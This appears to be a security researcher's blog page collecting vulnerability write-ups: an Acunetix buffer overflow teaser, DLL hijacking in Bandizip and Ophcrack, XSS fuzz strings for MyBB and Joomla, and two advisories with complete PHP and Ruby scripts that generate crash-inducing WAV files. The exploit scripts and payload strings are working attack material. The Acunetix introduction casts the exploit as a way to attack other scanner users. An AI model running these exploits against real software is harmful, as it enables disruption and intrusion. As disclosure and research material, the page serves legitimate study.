Pwning Script Kiddies – Acunetix Buffer Overflow

Introduction

Recently a security researcher named “Danor Cohen – An7i” had found a buffer overflow vulnerability and he has written a nice exploit for Acunetix Web Vulnerability Scanner 8.0. As this exploit was an ascii based one I was interested in re-writing the exploit because my previous exploit was also an ascii based one. However with the emerging of bug bounties and responsible disclosure policies I’ve seen many people firing up web application security scanners against live hosts in which automated vulnerability assessments are not permitted at all. Well, by triggering this buffer overflow vulnerability we can have some fun owning the noobs 😉

Crash

When we submit a new website to be scanned by Acunetix it searches for html tags like <img src=”” >, <a href=””> to get the additional hosts from that website. So if we place an html tag in the page like (more…)

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Bandizip Multiple Vulnerabilities

All these issues are patched in Bandizip 3.10 after a responsible disclosure done to the vendor.

Overview of Bandizip

Bandizip is a Lightweight, Fast and 100% free All-In-One Zip Archiver. It has a very fast Zip algorithm for compression & extraction with Fast Drag and Drop, High Speed Archiving, and Multi-core compression. It handles the most popular compression formats, including Zip, 7z, Rar, and so on.

Arbitrary DLL Injection Code Execution

Bandizip 3.09 and below version are affected with a DLL hijacking issue in which the application loads dwmapi.dll in an insecure manner.  This can be exploited to load arbitrary libraries by tricking a user into e.g. opening a file located on a remote WebDAV or SMB share. 1 You can clearly see dwmapi.dll is being searched by the application in the current directory as a result of loading it in an insecure manner.

Proof of Concept (more…)

MyBB 1.6.12 POST XSS 0day

This is a weird bug I found in MyBB. I fuzzed the input of the search.php file. This was my input given.

alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload

MyBB throws out a SQL error:

SELECT t.tid, t.firstpost
FROM mybb_threads t
WHERE 1=1 AND t.closed NOT LIKE 'moved|%'
AND (  LOWER(t.subject) LIKE '%&lt;foo&gt; &lt;h1&gt; &lt;script&gt; alert (bar) () ; //%'  LOWER(t.subject)
LIKE '%&gt; &lt; prompt \x41 \%42 constructor onload%')

fuzz1
(more…)

My Joomla XSS 0days

Last October 2013 I found some XSS vulnerabilities in Joomla! 3.1.2. Anyhow the affected versions were Joomla! version 2.5.14 and earlier 2.5.x versions and version 3.1.5 and earlier 3.0.x
versions. Actually all these XSS vulnerabilities existed on fields where we can insert links starting with http://. I first did a simple fuzz to test the output.

<foo> </bar> '" > <> ; () //

What I noticed was that it does filter out tags but still we can take advantage of these non-filtered characters. Of course we can use event handlers in JavaScript to trigger XSS.

‘; ()//"

fuzz

Persistent XSS in com_contact

To reproduce this issue follow these steps.

Ophcrack Path Subversion Arbitrary DLL Injection Code Execution

What is DLL Hijacking?

This is how Microsoft describes it

When an application dynamically loads a dynamic-link library without specifying a fully qualified path name, Windows attempts to locate the DLL by searching a well-defined set of directories in a particular order, as described in Dynamic-Link Library Search Order. If an attacker gains control of one of the directories on the DLL search path, it can place a malicious copy of the DLL in that directory. This is sometimes called a DLL preloading attack or a binary planting attack. If the system does not find a legitimate copy of the DLL before it searches the compromised directory, it loads the malicious DLL. If the application is running with administrator privileges, the attacker may succeed in local privilege elevation.

Basically when an application tries to load a DLL without specifying a fully qualified path name Windows tries to load the DLL in a order of directories. If the application attempts to load a DLL by it’s name it should go in this order of directories (x86).

  1. The directory from which the application loaded.
  2. The system directory.
  3. The 16-bit system directory.
  4. The Windows directory.
  5. The current directory.
  6. The directories that are listed in the PATH environment variable.

Overview of Ophcrack 3.6 (more…)

Ofilter Player WAV File Handling Division-by-zero DoS Weakness

1. Advisory Information

Title: Ofilter Player WAV File Handling Division-by-zero DoS Weakness
Advisory URL: https://osandamalith.wordpress.com/2014/01/10/ofilter-player-wav-file-handling-division-by-zero-dos-weakness/
Date published: 2014-01-10
Vendors contacted: 008soft
Release mode: User release

2. Vulnerability Information

Class: Integer division by zero
Impact: Denial of Service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: N/A

3. Summary

Easy Karaoke Player is a software that is playing karaoke, recording karaoke songs to wav format files. This application is able to read all types of multimedia files with an integrated multimedia player that is both efficient and full-powered.

4. Vulnerability Description

Ofilter Player contains a flaw that may allow for a denial of service. The issue is triggered when a user opens a malformed WAV file, resulting in a division-by-zero error and a loss of availability for the program. This can be exploited remotely by tricking a user into opening the crafted file (e.g., via email), or locally by placing it in a location that may seem safe (e.g., a network share).

5. Vulnerable Packages

  • 1.1

6. Credits

This bug was researched by Osanda Malith Jayathissa.

7. Proof of Concept / Technical Details


<?php
/*
*Title: Ofilter Player 1.1 (.wav) Integer Division by Zero
*Version: 1.1
*Tested on: Windows XP SP2 en
*Vendor: http://www.008soft.com/
*Software Link: http://www.008soft.com/downloads_OfilterPlayer.exe
*E-Mail: OsandaJayathissa@gmail.com
*Bug Discovered by: Osanda Malith
*Twitter: @OsandaMalith
* /!\ Author is not responsible for any damage you cause
* This POC is for educational purposes only
*/
$poc=
"\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01".
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E".
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22".
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";

file_put_contents("ofilterplayer.wav", $poc);
print <<< str
[+] Ofilter Player 1.1 Integer Division by Zero
[+] by Osanda Malith (@OsandaMalith)
[~] File Created "ofilterplayer.wav"
str;
?>

8. Report Timeline

2013-09-19: The researcher notifies the vendor 008soft.
2013-09-23: The researcher attempts to contact the vendor
2013-10-05: The researcher attempts to contact the vendor
2014-01-10: Advisory and public disclosure

9.  Disclaimer 

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.

10. References

[1] http://packetstormsecurity.com/files/124610/Ofilter-Player-1.1-Integer-Division-By-Zero.html
[2] http://www.exploit-db.com/exploits/30550

Microsoft Windows Live Movie Maker WAV File Handling DoS Weakness

1. Advisory Information

Title: Microsoft Windows Live Movie Maker WAV File Handling DoS Weakness
Advisory URL: https://osandamalith.wordpress.com/2014/01/10/microsoft-windows-live-movie-maker-wav-file-handling-dos-weakness/
Date published: 2014-10-10
Vendors contacted: Microsoft
Release mode: User release

2. Vulnerability Information

Class: Integer division by zero
Impact: Denial of Service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: 2013-4858

3. Summary

Microsoft Windows Live Movie maker is a inbuilt application in Windows 7 systems. It is used in simple scale video editing purposes.

4. Vulnerability Description

Microsoft Windows Live Movie Maker contains a flaw that may allow for a denial of service. The issue is triggered when a user opens a malformed WAV file, resulting in a loss of availability for the program. This can be exploited remotely by tricking a user into opening the crafted file (e.g., via email), or locally by placing it in a location that may seem safe (e.g., a network share).

5. Vulnerable Packages

  • Version 2011 (Build 15.4.53508.1109)

6. Credits

This bug was researched by Osanda Malith Jayathissa.

7. Proof of Concept

#!/usr/bin/env ruby
#Title: Windows Live Movie Maker 2011 (.wav) DoS Local Exploit
#Version: Version 2011 (Build 15.4.53508.1109)
#Tested on: Windows 7 Professional 32-bit SP1
#E-Mail: OsandaJayathissa@gmail.com
#Exploit-Author: Osanda Malith Jayathissa
#Video: https://www.youtube.com/watch?v=SBJYzSNdY6k
# /!\ Auhor is not responsible for any damage you cause
# Use this material for educational purposes only
#This is just a simple crash not an exploitable bug
#Twitter: @OsandaMalith
#Date: 25 Decemeber 2013
#CVE: 2013-4858
begin
  dos =(
  "\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"+
    "\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"+
    "\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"+
    "\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"+
    "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

  file = open("WindowsMovieMaker.wav","w")
  file.write(dos)
  file.close()

  puts "[+] Exploit created >> WindowsMovieMaker.wav"
  puts "[*] Open any image and Click add music and add our payload"
  puts "[~] by Osanda Malith"
end
#EOF


8. Report Timeline

2013-10-16: The researcher notifies the vendor Microsoft.
2013-20-16: Confirms that is only a crash and not a exploitable bug.
2014-01-10: Public disclosure.

9.  Disclaimer 

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.

10. References

[1] http://packetstormsecurity.com/files/124596/Windows-Live-Movie-Maker-2011-Denial-Of-Service.html